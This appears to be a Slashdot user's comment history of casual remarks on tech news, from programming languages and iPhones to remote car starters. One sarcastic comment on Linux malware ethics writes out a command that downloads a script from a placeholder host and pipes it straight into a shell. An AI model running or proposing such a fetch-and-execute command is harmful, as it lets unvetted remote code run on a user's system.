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  1. Dear PayPal on Paypal Reverses Payments Made To Indians · · Score: 4, Funny

    Please do the needful!

  2. Re:.NET Framework on An Interview With F# Creator Don Syme · · Score: 1

    wow, who would have thunk.

  3. Re:Python is waaaayyy better on An Interview With F# Creator Don Syme · · Score: 1

    Begin-End

    Stop it you are giving me pascal flashbacks.

  4. Re:Looks interesting as replacement for Python on An Interview With F# Creator Don Syme · · Score: 1

    "Forced whitespacing doesn't suit my debugging style"

    It may not, but it sure makes your crap easier for me to debug when it breaks.

  5. Re:Oh god on Google's Nexus One, a Steal At $49 Unlocked? · · Score: 4, Funny

    Sounds like we are married to the same woman.

  6. Re:Unfortunately, incorrect on Key EDS Witness Bought Internet Degree · · Score: 1

    $300000, I am quite sure I made much more than that while you where in school.

    I find there are two types of people in this world when it comes
    to education. There are those that are fully capable and have the desire and initiative to essentially teach themselves. Then there is the second
    bunch that require a structured environment to develop their skills.

    I find in real life work history is everything when it comes to competing with
    others for a job. A hiring manager looks at a resume and says can this guy do the job, a history of doing that job and doing it well trumps any
    sort of degree you may throw at him.

  7. multi-task on Novell Bringing .Net Developers To Apple iPad · · Score: 0, Troll

    I think you are very much wrong about multi-tasking and I think you can ask any iphone user and verify this. First of all the typical
    joe user could give a shit less. I am a developer and I am perfectly happy that the iphone and even the ipad has no multi-tasking. Sure
    it would be nice to have. However I realize that not having it keeps my device from turning to shit because I loaded someone's craplication that thinks
    it is cool to burn my battery life by running a worthless notifier, spam downloader etc.

  8. Re:SAP on BSkyB Wins £709m Lawsuit Against HP-EDS · · Score: 1

    I am sure there where some that went well and many that went bad. Now most of them
    I am sure are a horrible burden to the bottom line. Installing and running something
    like SAP is all well and good when the company is making money and can afford it. When
    the bottom drops out the expense and maintenance I am sure only quickens the pace
    of demise.

  9. Re:Too bad this is illegal. on The DIY $10 Prepaid Cellphone Remote Car Starter · · Score: 1

    Commercially installed systems either require that the car is locked prior to starting or automatically lock the car during the start. Any attempt
    to then drive the car such as placing it into gear will kill the engine if the key is not inserted.

  10. Re:Why? on The DIY $10 Prepaid Cellphone Remote Car Starter · · Score: 1

    Obviously you have never gotten in a car at -20 outside temp or you would very much understand.

  11. Re:Why? on The DIY $10 Prepaid Cellphone Remote Car Starter · · Score: 2, Informative

    Outside temperature 20 below zero, think about it. Some areas of the US have very harsh winters, remotely starting
    a car 10 minutes early remotely allows time to warm the interior to something more comfortable say 40 deg. Not
    to mention it is better for the engine to be at least slightly warmed up before placing it under a load.

  12. I had thought of doing this some time back on The DIY $10 Prepaid Cellphone Remote Car Starter · · Score: 1

    I had thought of doing this some time back, what stopped me and apparently the author
    as well is the price of maintaining minutes on the phone just to run a remote starter.

  13. points on Electromagnetic Pulse Gun To Help In Police Chases · · Score: 1

    Time to bust out that old points distributor.

  14. Better Solution one line on MIT Offers Picture-Centric Programming To the Masses With Sikuli · · Score: 1

    man ifconfig

  15. SendKeys on MIT Offers Picture-Centric Programming To the Masses With Sikuli · · Score: 1

    Wow they just created the old VB SendKeys command. I was actually doing stuff like this 12-14 years ago with SendKeys command in VB. In "practical" use back then
    it sucked and I am certain that has not changed.

  16. Delphi IDE? on What Tools Do FLOSS Developers Need? · · Score: 1

    Give lazarus a whirl!

    http://lazarus.freepascal.org/

    Is someone going to build a delphi clone better? Not likely this one has been in development
    nearly 10 years and it is as close as you are going to get.

  17. profound on The Weird Science of Tossing Stones Into a Lake · · Score: 1

    How Profound:The high air speeds are shown to result from the "nozzle" being a liquid cavity shrinking rapidly in time.

  18. performance on Google Phone Could Drive Apple Into Allegiance With Microsoft · · Score: 1

    When one of these android devices can perform like a iphone then it may happen, but that
    is certainly not a issue for apple yet.

  19. You are correct on Why Everyone Has High Hopes For Apple Tablet · · Score: 1

    I have a iphone and when I am not near a computer it is perfectly capable of doing what I need to do on the go. My next
    step up would be a laptop nearly all the power of a desktop with the portability built in. The tablet is somewhere in
    the middle so it really does not interest me in the least. Its cool but in everyday life I would really have no need
    for it.

  20. Mine is a big deal on Why Everyone Has High Hopes For Apple Tablet · · Score: 1

    I live eat and breath linux every single day but when it comes to devices my iphone is not
    something I would want to live without. It is practical and does nearly every single thing
    I need it to do and does it well. The iphone market penetration is huge and still growing
    it is going to take some real wow factor for google to unseat it. I still have not seen a android device
    yet that has the capability to come close. A software feature is not going to do it apple can respond
    quickly enough to counter, same with hardware apple can respond fairly quickly to any threats.

    As a programmer I would like to see it be a little more open but I understand the general
    public could really care less about that.

  21. Re:Naturally, Not in America on World's First Production Hybrid Motorcycle To Hit Market In India · · Score: 1

    Leave it to the US to build something I want to ride. There is no way
    on earth I would buy that ugly looking bike. My harley easily gets
    60 MPG and looks darn fine while doing it.

  22. Re:Do you hear me now?? on Verizon Removes Search Choices For BlackBerrys · · Score: 1

    Anything can be placed in a contract however it may or may not be legally binding and or lawful.

  23. I would like you to join my bot net on Ethics of Releasing Non-Malicious Linux Malware? · · Score: 1

    Would you be so kind as to open a terminal window mr user and run this for me so that you can join
    my cool bot net.

    wget www.somewhere.com/somefile.sh -O - | sh

    Oh no what will the community do, I may have just released a very serious malware exploit vector.

  24. release it on Ethics of Releasing Non-Malicious Linux Malware? · · Score: 3, Insightful

    Any programmer worth a grain of salt could write the same thing at the drop of a hat. I don't
    understand where it would be all that interesting.

  25. the vast majority on Bing Gains 10% Marketshare · · Score: 1

    I would say the vast majority are being generated by mouse over ads. Now the real question is who is actually
    using it, nobody that I know of.